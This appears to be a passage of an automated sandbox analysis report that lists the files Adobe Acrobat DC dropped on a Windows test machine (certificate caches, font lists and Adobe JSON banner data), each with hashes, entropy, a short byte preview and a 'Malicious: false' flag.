Encrypted:	false
SSDEEP:	384:Cerci5GCiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:8yurVgazUpUTTGt
MD5:	1B568D29EAE01C1783B47C75E96F2C61
SHA1:	8AAE9184FF9BFE7CB2FFEE57FA9CAEAE383D3899
SHA-256:	354DD4441E3E240CCA3CA170C8874ED011566F7ECDF556CEAC6E22F4301D5644
SHA-512:	6ADF427AF213E313D492368D99952D19ECC10529CF53325E721A1F8922C2279088902C04470B538F6EA23799478147AD2F7929CF1008E664F6C4F7E33331435C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2143879947528906
Encrypted:	false
SSDEEP:	24:7+tvG6wKsqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzl:7M+Wsq/mFTIF3XmHjBoGGR+jMz+LhE
MD5:	EA2C0414B1F3DF931E81C7778F486A8A
SHA1:	49AD4A3FC0B93CF5904F3002EEDF943E2D2DD100
SHA-256:	A05AAD0C3A1797258D18CB17EC0C97340EAB7FA67F67FCC14F04174566D53B4B
SHA-512:	8B4F0162546EAC3B0E78AD0358E0025BA335714898E501616E923FB2F0E446FED768382312D1F67CAB1E788F7BC984DFB8AA0F78D46E10B7AE930436F8A6EA30
Malicious:	false
Preview:	.... .c......+..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkly03tfllXlE/HT8k/J/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKrceT8QJ7NMa8RdWBwRd
MD5:	A2E713D812D36166442E86DE74948EDF
SHA1:	0D76B8397C9531FE7A2239CEBBEA18AAF8B1845F
SHA-256:	6BF99430BE588CB13F2352F84B69D5323CE5F366B9B6B7A35831B0717285BCF5
SHA-512:	68CF70C150BEA3619E9647A396329EE909C49447834B0659764B6E09792270A3E210A82E717B4686F7F92FAC428946E58E9E24B3EE5CBAECA13D5CE33488D13A
Malicious:	false
Preview:	p...... ..........%>.c..(....................................................... ..........W....s...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.220782461797862
Encrypted:	false
SSDEEP:	6:kKhi/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:w/iDImsLNkPlE99SNxAhUe/3
MD5:	87C3FA88FBE104AEF6CBE52945919A56
SHA1:	2031CD73A730AA5893210CDD5DCBBFD7E6A837D4
SHA-256:	C3F58AAB1C0B0D66282FD08D5D0259535950819E9C109D6F722EC9D72D76894D
SHA-512:	3822760E5BEA4EB1210E44111548748482F6F5DF91F1657C08E6CB06AC4C44962DC302F01CED32317FE01A089D22C592EDEFCDC84C03AB8A70661D4CBE86AEA1
Malicious:	false
Preview:	p...... ..........aP.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8116

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8116

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.338521631679778
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJM3g98kUwPeUkwRe9:YvXKXBQ0/+pUTbdFGMbLUkee9
MD5:	98B2566DC37F952BD95A5F127ABF683B
SHA1:	89DF9C47BB951E7629116B8DE9D4C465A3875971
SHA-256:	246B1AC8A0F710462D1DAAAC86C967AE67761873C54AC062FE81837C5840CD3D
SHA-512:	4248C88FED97E801BE9E084B13DA3C053782626CA4430F04E790216C5B456CA4882131550D5A402F319AA184DB28B61B550CC93F444865B232B7724CA0056326
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273761841703969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJfBoTfXpnrPeUkwRe9:YvXKXBQ0/+pUTbdFGWTfXcUkee9
MD5:	6347E8BF0E60210BD1C1D5C3A689AC9D
SHA1:	24998D78260D2B103EE75CFF4552B9ED05303756
SHA-256:	604389CC366A2C45EA3E184B3BC69CB6AD75C59476D0DA02972D305D85D2FA8A
SHA-512:	49110799469F22DA4C3F7359D112E259532537C794DDCDA98BBBA38ABCB1A49FA3FC05FDFD62103BA372001FDBB2FE4CE1219E53A6AC029E08166C55E3F87401
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.252021337061776
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJfBD2G6UpnrPeUkwRe9:YvXKXBQ0/+pUTbdFGR22cUkee9
MD5:	49FC1993D1FB6931D7A7EC4235668091
SHA1:	8EF3C9C5AD6293D311565E9597A989A7CB466D41
SHA-256:	26833E19CFDD87252D9210C88CF74E2688547B81664148E44228F7A5D2BF1E44
SHA-512:	4AC96BA5510DDEDDD8AD2D20F0CEF9120AD6D30EF7A9E2011A7DA253E6778C6C1661B92E8254853404BD342AF8CFFD081FBD9B2D47949685949AA7BABCDC4261
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.311928701055123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJfPmwrPeUkwRe9:YvXKXBQ0/+pUTbdFGH56Ukee9
MD5:	A0FD9281CE74958746955A8CF19FF6C2
SHA1:	7718788AE8D69D91F6661437E6D5AE510F6AE46A
SHA-256:	CC96741CAE395E3FECC4F25DFA4205610243EAA919EE9C9163AA260124A3A246
SHA-512:	17AA3D4D34C0BB421AFF93B8C11091BB48E9C400CC3DC686C875877CE8A81CEE0F4DEC13FA3E2B7E3AD6D2270C8015F7E6E7573C81D7DF1387951D62C18C39D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6782467841691835
Encrypted:	false
SSDEEP:	24:Yv6XBmpUXMpLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:YvE+wMhgy6SAFv5Ah8cv/j
MD5:	ED8D0E672B834444DE937449BE2CB1F3
SHA1:	507D6B01A077CAF7252FE996BE5DF97CBAD2A122
SHA-256:	ECA6F9D457399E521A371BBA732913EE9B527F66E80BE94E61E1CCE8088E715A
SHA-512:	A3EBC5C12E88EB057BC5F9291E5DE1CFB19B6BB5F800546C7D9A01D98ABBDAA560CEE39E2DC6AB8376DFED61B5F5C0BB0DB3E78F070977FD49B2A192F883AB79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.249737949727372
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJf8dPeUkwRe9:YvXKXBQ0/+pUTbdFGU8Ukee9
MD5:	76765B5B2168B0D8556779158EE8DF99
SHA1:	EEB90100F2D66B9434267FA8ED1EA28A8D06C6F6
SHA-256:	082B4424DF4A29118D2A8E35301160B540AC56E3E663C76134D80FBE2DFC1343
SHA-512:	DE2473ACB4AF5206A26AA087FFBF80998163B15E5053FC0447CF44A1CE915BA421096B75DB5471A3126E37AA59B0FBD66E5B43E440C0069138E9189A86560784
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.253762818317044
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJfQ1rPeUkwRe9:YvXKXBQ0/+pUTbdFGY16Ukee9
MD5:	08FB4E4072F4435F8112DE05E82E2C84
SHA1:	CCCEA69064412390F4CB59B5E3FF6E5716C2368A
SHA-256:	F365CC2412E66B7F5C8909C09E47180A2BD683C2FD777D39AB2C1498A9433A62
SHA-512:	A7B6BBDD3C4ED74D96F0805D54337D5D88A7D826053599A00CEC36CE0F35D37E5257004E908B26E00208ED69D3DA417F662CA2AD97D57D348A57AE54690DB529
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260727248157934
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJfFldPeUkwRe9:YvXKXBQ0/+pUTbdFGz8Ukee9
MD5:	A68C9A7D40F74E3960A1F5DCE90144D4
SHA1:	979E0F0F60579CAB356AD6544DBAE1D2F74304E7
